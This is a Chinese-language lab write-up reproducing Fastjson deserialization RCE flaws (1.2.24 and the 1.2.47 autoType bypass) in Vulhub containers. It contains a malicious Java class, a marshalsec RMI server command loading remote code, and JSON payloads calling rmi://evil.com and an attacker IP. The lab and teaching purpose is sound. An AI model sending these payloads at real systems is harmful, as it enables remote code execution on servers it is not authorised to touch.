漏洞复现
Vulhub-漏洞环境搭建
1panel
Bash
Tomcat
Siro框架漏洞
Apache Struts2
Apache 中间件
ThinkPHP框架漏洞
MySQL写入shell
Redis
MySQL提权
Fastjson反序列化漏洞
Spring
Jenkins
WebLogic
-
+
首页
Fastjson反序列化漏洞
 ## 概述 Fastjson 是阿里巴巴开发的一款高性能 Java JSON 处理库,主要用于实现 Java 对象与 JSON 格式的相互转换(序列化与反序列化),因处理速度快、功能丰富而被广泛应用于 Java 后端开发。 > 核心功能 序列化:将 Java 对象(包括复杂类型如集合、泛型、自定义类等)转换为 JSON 字符串; 反序列化:将 JSON 字符串解析为 Java 对象,支持通过 @type 字段指定目标类(即 autoType 功能,自动识别并实例化对应类)。 > 反序列化的核心 在 FastJson 将 JSON 字符串反序列化为指定 Java 类的过程中,会调用目标类的 setter 方法。 FastJson 反序列化的核心是将 JSON 字段的值映射到 Java 对象的属性中。 默认情况下,它会根据 JSON 字段名匹配 Java 类的属性,并通过setter 方法为属性赋值,规则如下: - 若 JSON 中有字段 name,FastJson 会寻找对应属性 name 的 setter 方法 setName(...),通过该方法将值传入; - 若属性是 public 修饰的(无需 setter),FastJson 会直接为字段赋值(跳过 setter),但这种情况较少见(通常属性会设为 private,通过 setter 访问)。 ## Fastjson 1.2.24 ### 漏洞版本 fastjson <= 1.2.24 ### 漏洞原理 Fastjson 在解析 JSON 时,会根据 @type 字段指定的类名自动实例化对应类(即 autoType 功能)。1.2.24 版本中,autoType 未完全禁用,且对危险类的黑名单校验不严格,导致攻击者可指定如 com.sun.rowset.JdbcRowSetImpl 这类包含 JNDI 调用逻辑的类 dbcRowSetImpl类的setAutoCommit()会调用connect()函数,connect()函数如下:  connect()会调用InitialContext.lookup(dataSourceName),这里的参数dataSourceName是在setter方法setDataSourceName(String name)中设置的。 所以在FastJson反序列化漏洞过程中,我们可以控制dataSourceName的值,也就是说满足了JNDI注入利用的条件。 ### 漏洞复现 1、使用vulhub启动fastjson1.2.24容器。   2、构造恶意类: ```java import java.lang.Runtime; import java.lang.Process; public class Evil{ static { try{ Runtime rt = Runtime.getRuntime(); String[] commands = {"touch","/tmp/test.txt"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } } ``` 3、编译为class文件。  4、在当前目录下启动http服务。  5、使用 [marshalsec](https://github.com/mbechler/marshalsec) 项目启动一个 RMI 服务器,监听 9999 端口,并指定加载远程类 Evil.class: ```cmd java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.1.4:8000/#Evil" 9999 ```  6、抓取访问数据包,发生到Repeater模块中,将get修改为post,且Content-Type修改为application/json,添加上请求数据。 ```json { "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://evil.com:9999/TouchFile", "autoCommit":true } } ``` ``` { "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.1.4:9999/Evil", "autoCommit":true } } ```  状态码虽然为500,但是文件已经写入成功。  7、RMI服务器的访问记录:  8、http服务器的请求记录:  ## Fastjson 1.2.47 远程命令执行漏洞 ### 漏洞版本 Fastjson = 1.2.47 ### 漏洞原理 Fastjson 于 1.2.24 版本后增加了反序列化白名单,而在 1.2.48 以前的版本中,攻击者可以利用特殊构造的 JSON 字符串绕过白名单检测,成功执行任意命令。 Fastjson 的 autoType 功能用于在反序列化时根据 @type 字段自动识别并实例化目标类。 1.2.47 版本中,官方虽对 autoType 增加了黑名单和校验逻辑,但存在两个关键绕过点: 1. 类名格式绕过:通过在类名前添加特殊前缀(如 L + 类全名 + ;,模拟 JVM 内部类名格式),可绕过 autoType 对类名的校验; 2. 危险类利用:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 类(JDK 内置)未被有效拦截。 该类的 _bytecodes 字段可存储恶意类的字节码,在反序列化过程中,TemplatesImpl 初始化时会通过 defineClass 方法加载字节码,触发恶意代码执行(无需 JNDI 中间服务)。 > 利用链 TemplatesImpl 是 JDK 中用于 XSLT 转换的类,其内部逻辑存在安全隐患: - 包含 _bytecodes 字段,可存储类的字节码数组; - 当调用 getOutputProperties() 等方法时,会触发 defineTransletClasses() 方法,通过类加载器将 _bytecodes 中的字节码加载为类,并实例化; - 若 _bytecodes 中是恶意类(含静态代码块或构造函数命令执行逻辑),加载时会自动执行恶意代码。 利用TemplatesImpl类直接加载恶意字节码(无需 JNDI,不受 JDK 版本限制)。 ### 漏洞复现 目标环境是 openjdk:8u102,这个版本没有 com.sun.jndi.rmi.object.trustURLCodebase 的限制,我们可以简单利用 RMI 进行命令执行。 那么我们可以通过java.lang.Class提前加载JdbcRowSetImpl类绕过autoType限制,再实例化JdbcRowSetImpl触发 JNDI 注入。 依赖两个关键条件: - 目标类JdbcRowSetImpl未被 Fastjson 的黑名单拦截; - 依赖 JNDI 服务(如 RMI/LDAP)返回恶意类引用,且目标 JDK 版本较低(无 JNDI 防护)。 1、下载镜像。  2、访问靶机地址。  3、构造恶意Java文件。 ```java // javac TouchFile.java import java.lang.Runtime; import java.lang.Process; public class Evil { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"touch", "/tmp/maolin"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } } ``` 4、将java文件编译为class文件。  5、在本地启动http服务。  6、使用 [marshalsec](https://github.com/mbechler/marshalsec) 项目启动一个 RMI 服务器,监听 9999 端口,并指定加载远程类 Evil.class: ```cmd java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.1.4:8000/#Evil" 9999 ```  7、抓取数据包,发生到Repeater模块中,并且修改请求方式和Content-Type类型。  8、传入恶意的请求数据。 ```json { "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://evil.com:9999/Exploit", "autoCommit":true } } ``` ```json { "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.1.4:9999/Evil", "autoCommit":true } } ```  响应码虽然是400但是写入成功。  9、查看rmi服务记录:  10、访问http服务记录: 
毛林
2025年11月1日 14:15
转发文档
收藏文档
上一篇
下一篇
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
PDF文档(打印)
分享
链接
类型
密码
更新密码